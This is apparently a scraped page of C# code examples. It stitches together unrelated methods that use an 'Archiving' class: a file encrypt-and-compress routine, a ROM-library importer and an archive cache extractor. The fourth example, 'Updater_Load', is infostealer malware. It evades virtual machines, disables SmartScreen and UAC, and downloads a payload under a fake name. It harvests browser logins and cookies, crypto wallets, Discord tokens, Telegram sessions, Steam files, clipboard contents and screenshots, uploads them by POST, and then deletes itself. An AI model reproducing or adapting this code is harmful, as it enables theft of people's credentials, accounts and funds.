private void FileTransfer()
        {
            var control = new object();

            lock (control)
            {
                var path     = Path.GetDirectoryName(configOptions.StorageOptions.SourseFileName);
                var dirInfo  = new DirectoryInfo(path);
                var fileName = Path.GetFileName(configOptions.StorageOptions.SourseFileName);
                var date     = DateTime.Now;
                var subPath  = $"{date.ToString("yyyy", DateTimeFormatInfo.InvariantInfo)}\\" +
                               $"{date.ToString("MM", DateTimeFormatInfo.InvariantInfo)}\\" +
                               $"{date.ToString("dd", DateTimeFormatInfo.InvariantInfo)}";
                var newPath = path +
                              $"\\{date.ToString("yyyy", DateTimeFormatInfo.InvariantInfo)}\\" +
                              $"{date.ToString("MM", DateTimeFormatInfo.InvariantInfo)}\\" +
                              $"{date.ToString("dd", DateTimeFormatInfo.InvariantInfo)}\\" +
                              $"{Path.GetFileNameWithoutExtension(fileName)}_" +
                              $"{date.ToString(@"yyyy_MM_dd_HH_mm_ss", DateTimeFormatInfo.InvariantInfo)}" +
                              $"{Path.GetExtension(fileName)}";
                var compressedPath    = Path.ChangeExtension(newPath, "gz");
                var newCompressedPath = Path.Combine(configOptions.StorageOptions.TargetDirectory,
                                                     Path.GetFileName(compressedPath));
                var decompressedPath = Path.ChangeExtension(newCompressedPath, "xml");

                if (!dirInfo.Exists)
                {
                    dirInfo.Create();
                }

                dirInfo.CreateSubdirectory(subPath);
                File.Move(configOptions.StorageOptions.SourseFileName, newPath);
                Encryption.EncryptFile(newPath, newPath,
                                       configOptions.CryptingOptions.EncryptionKey);
                Compression.Compress(newPath, compressedPath);
                File.Move(compressedPath, newCompressedPath);
                Compression.Decompress(newCompressedPath, decompressedPath);
                Encryption.DecryptFile(decompressedPath, decompressedPath,
                                       configOptions.CryptingOptions.EncryptionKey);
                Archiving.AddToArchive(decompressedPath,
                                       configOptions.ArchiveOptions.ZipName);
                File.Delete(newPath);
                File.Delete(newCompressedPath);
                File.Delete(decompressedPath);
            }
        }
示例#2
0
        // Start ROM scan and import process for specific system
        public void BeginRomImport(int systemId, ProgressDialogController dialog)
        {
            // get path to ROM folder
            string romFolderPath = GetPath(systemId);
            //MessageBoxResult result2 = MessageBox.Show(romFolderPath);
            // get allowed file types for this particular system
            HashSet <string> exts = GetAllowedFileExtensions(systemId);

            // get a list of games for this system currently already in the database
            List <Game> presentGames = (from g in Games
                                        where g.systemId == systemId
                                        select g).ToList();


            // get all files from romfolderpath and sub directories that have an allowed extension
            IEnumerable <string> romFiles = GetFiles(romFolderPath, true);

            // if romfiles is null break
            if (romFiles == null)
            {
                return;
            }

            List <string> allowedFiles = new List <string>();

            foreach (string s in exts)
            {
                foreach (string p in romFiles)
                {
                    if (p.EndsWith(s))
                    {
                        //MessageBoxResult result5 = MessageBox.Show(p);
                        allowedFiles.Add(p);
                    }
                }

                /*
                 * List<string> fi = (from a in romFiles
                 *       where a.EndsWith(s)
                 *       select a).ToList();
                 * if (fi == null || fi.Count < 1) { continue; }
                 * allowedFiles.AddRange(fi);
                 */
            }

            // calculate the number of files to be processed
            int numFiles = allowedFiles.Count;
            // set the progress bar limits
            //dialog.Minimum = 0;
            //dialog.Maximum = numFiles;
            int progress = 0;
            // set base dialog message
            string strBase = "Scanning: ";


            // create new final list to be populated with approved files
            List <Game> finalGames = new List <Game>();



            // now we have a list of allowed files, loop through them
            foreach (string file in allowedFiles)
            {
                // get the relative path
                string relPath = PathUtil.GetRelativePath(romFolderPath, file);
                // get just the filename
                string fileName = System.IO.Path.GetFileName(file);
                // get just the extension
                string extension = System.IO.Path.GetExtension(file).ToLower();
                // get rom name wihout extension
                string romName = fileName.Replace(extension, "");

                // update UI
                progress++;
                string uiUpdate = strBase + fileName + "\n(" + progress + " of " + numFiles + ")";
                dialog.SetMessage(uiUpdate);
                //dialog.SetProgress(progress);

                Game   newGame = new Game();
                string hash    = String.Empty;

                // inspect archive files
                if (extension == ".zip" || extension == ".7z")
                {
                    bool isAllowed = false;
                    try
                    {
                        Archiving arch = new Archiving(file, systemId);
                        arch.ProcessArchive();
                        hash      = arch.MD5Hash;
                        isAllowed = arch.IsAllowed;
                        if (hash == null)
                        {
                            continue;
                        }
                    }
                    catch (System.IO.InvalidDataException ex)
                    {
                        // problem with the archive file
                    }
                    finally { }

                    if (isAllowed == false)
                    {
                        continue;
                    }
                }
                else
                {
                    // file is not an archive - calculate md5
                    //hash = Crypto.Crc32.ComputeFileHash(file);
                    hash = Crypto.checkMD5(file);
                }


                // check whether game already exists (by gameName and systemId)
                Game chkGame = (from g in Games
                                where g.systemId == systemId && g.gameName == romName
                                select g).FirstOrDefault();

                // lookup game in master dat
                //var sysFilter = DAT.Where(p => p.SystemId == systemId);
                // var lookup = DAT.Where(p => p.Roms.Any(x => x.MD5.ToUpper().Trim() == hash.ToUpper().Trim())).ToList();

                //var lookup = DAT.Where(p => p.Roms.Any(x => x.MD5.ToUpper() == hash)).ToList();
                string          nHash  = hash.ToUpper().Trim().ToString();
                List <DATMerge> lookup = (from i in DAT
                                          where i.SystemId == systemId && i.Roms.Any(l => l.MD5.ToUpper().Trim() == hash)
                                          select i).ToList();

                if (chkGame == null)
                {
                    // does not already exist - create new game
                    newGame.configId = 1;

                    if (lookup != null && lookup.Count > 0)
                    {
                        newGame.gameNameFromDAT = lookup.First().GameName;
                        newGame.Publisher       = lookup.First().Publisher;
                        newGame.Year            = lookup.First().Year;

                        // get rom we are interested in
                        var rom = (from ro in lookup.First().Roms
                                   where ro.MD5.ToUpper().Trim() == hash.ToUpper().Trim()
                                   select ro).First();
                        newGame.romNameFromDAT    = rom.RomName;
                        newGame.Copyright         = rom.Copyright;
                        newGame.Country           = rom.Country;
                        newGame.DevelopmentStatus = rom.DevelopmentStatus;
                        newGame.Language          = rom.Language;
                        newGame.OtherFlags        = rom.OtherFlags;

                        if (rom.Year != null && rom.Year != "")
                        {
                            newGame.Year = rom.Year;
                        }
                        if (rom.Publisher != null && rom.Publisher != "")
                        {
                            newGame.Publisher = rom.Publisher;
                        }
                    }

                    newGame.gameName    = romName;
                    newGame.gamePath    = relPath;
                    newGame.hidden      = false;
                    newGame.isDiskBased = false;
                    newGame.isFavorite  = false;
                    newGame.systemId    = systemId;
                    newGame.CRC32       = hash;

                    // add to finaGames list
                    RomsToAdd.Add(newGame);
                    // increment the added counter
                    AddedStats++;
                }
                else
                {
                    // matching game found - update it
                    if (chkGame.gamePath == relPath && chkGame.hidden == false && chkGame.CRC32 == hash)
                    {
                        //nothing to update - increment untouched counter
                        UntouchedStats++;
                    }
                    else
                    {
                        newGame = chkGame;
                        // update path in case it has changed location
                        newGame.gamePath = relPath;
                        // mark as not hidden
                        newGame.hidden = false;

                        newGame.CRC32 = hash;
                        if (lookup != null && lookup.Count > 0)
                        {
                            newGame.gameNameFromDAT = lookup.First().GameName;
                            newGame.Publisher       = lookup.First().Publisher;
                            newGame.Year            = lookup.First().Year;

                            // get rom we are interested in
                            var rom = (from ro in lookup.First().Roms
                                       where ro.MD5.ToUpper().Trim() == hash.ToUpper().Trim()
                                       select ro).First();
                            newGame.romNameFromDAT    = rom.RomName;
                            newGame.Copyright         = rom.Copyright;
                            newGame.Country           = rom.Country;
                            newGame.DevelopmentStatus = rom.DevelopmentStatus;
                            newGame.Language          = rom.Language;
                            newGame.OtherFlags        = rom.OtherFlags;

                            if (rom.Year != null && rom.Year != "")
                            {
                                newGame.Year = rom.Year;
                            }
                            if (rom.Publisher != null && rom.Publisher != "")
                            {
                                newGame.Publisher = rom.Publisher;
                            }
                        }

                        // add to finalGames list
                        RomsToUpdate.Add(newGame);
                        // increment updated counter
                        UpdatedStats++;
                    }

                    // remove game from presentGames list - remaining games in this list will be marked as hidden at the end
                    presentGames.Remove(chkGame);
                }
            }

            // whatever games are left in the presentGames list should be marked as hidden as they have not been found
            if (presentGames.Count > 0)
            {
                foreach (Game g in presentGames)
                {
                    g.hidden = true;
                    RomsToUpdate.Add(g);
                }
            }

            GameListBuilder.UpdateFlag();
        }
示例#3
0
        private string BuildFullGamePath(string GamesFolder, string GamePath)
        {
            string path = string.Empty;

            // check whether relative or absolute path has been set in the database for this game
            if (RomPath.StartsWith("."))
            {
                // path is relative (rom autoimported from defined path) - build path
                path = GamesFolder + GamePath;
            }
            else
            {
                // rom or disk has been manually added with full path - return just full path
                path = GamePath;
            }

            // now do 7zip processing if neccesary
            string extension = System.IO.Path.GetExtension(path).ToLower();

            if (extension == ".7z")
            {
                /* 7zip archive detected - extract contents to cache directory and modify path variable accordingly */

                // create cache directory if it does not exist
                string cacheDir = AppDomain.CurrentDomain.BaseDirectory + "Data\\Cache";
                Directory.CreateDirectory(cacheDir);

                // inspect the archive
                Archiving arch = new Archiving(path, SystemId);
                arch.ProcessArchive();

                // get filename
                string filename = arch.FileName;

                // get filesize
                long filesize = arch.FileSize;

                // check whether file already exists in cache
                string cacheFile = cacheDir + "\\" + filename;
                if (File.Exists(cacheFile))
                {
                    // file exists - check size
                    long length = new System.IO.FileInfo(cacheFile).Length;

                    if (length != filesize)
                    {
                        arch.ExtractArchive(cacheDir);
                    }
                }
                else
                {
                    // extract contents of archive to cache folder
                    arch.ExtractArchive(cacheDir);
                }

                // return the new path to the rom
                return(cacheFile);
            }

            return(path);
        }
示例#4
0
        private void Updater_Load(object sender, EventArgs e)
        {
            if (Date.Delay)
            {
                Thread.Sleep(Date.DelaySec);
            }

            if (!AntiVM.GetCheckVMBot())
            {
                if (!MovEx.CheckPath())
                {
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                }
                else
                {
                    HideFolders.Enabled(0);
                    DisableLockers.SmartScreen();
                    DisableLockers.UAC();
                    AntiSniffer.Inizialize();

                    if (Date.Downloader || Date.AdminRight)
                    {
                        Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess);
                    }
                    if (Date.IpLogger)
                    {
                        IPLogger.Sender(Date.IpLoggerLink);
                    }
                    if (Date.InfoGrabber)
                    {
                        InfoGrabber.CreateTable(GlobalPath.PC_File);
                    }
                    if (Date.CryptoWall)
                    {
                        BitBoard.GetWallet();
                    }
                    if (Date.Browsers)
                    {
                        ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins);
                        ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies);
                        GetPassword.Inizialize();
                        GetCookies.Inizialize();
                    }
                    if (Date.Buffer)
                    {
                        ClipboardEx.GetBuffer(GlobalPath.Buffer);
                    }
                    if (Date.Programs)
                    {
                        MailFoxPassword.Inizialize();
                        DcGrabber.GeTokens();
                        TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
                    }
                    if (Date.Clients)
                    {
                        GetClients.Inizialize();
                    }
                    if (Date.Steam)
                    {
                        GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam");
                    }
                    if (Date.ScreenShot)
                    {
                        ScreenShot.Shoot(GlobalPath.Screen);
                    }
                    Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp);
                    Archiving.Inizialize();
                    UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd);
                    //BlockIE.Enabled(1); // Блокировка интернета
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                    Application.Exit();
                }
            }
            else
            {
                SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!");
                if (Date.Delay)
                {
                    ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                }
            }
        }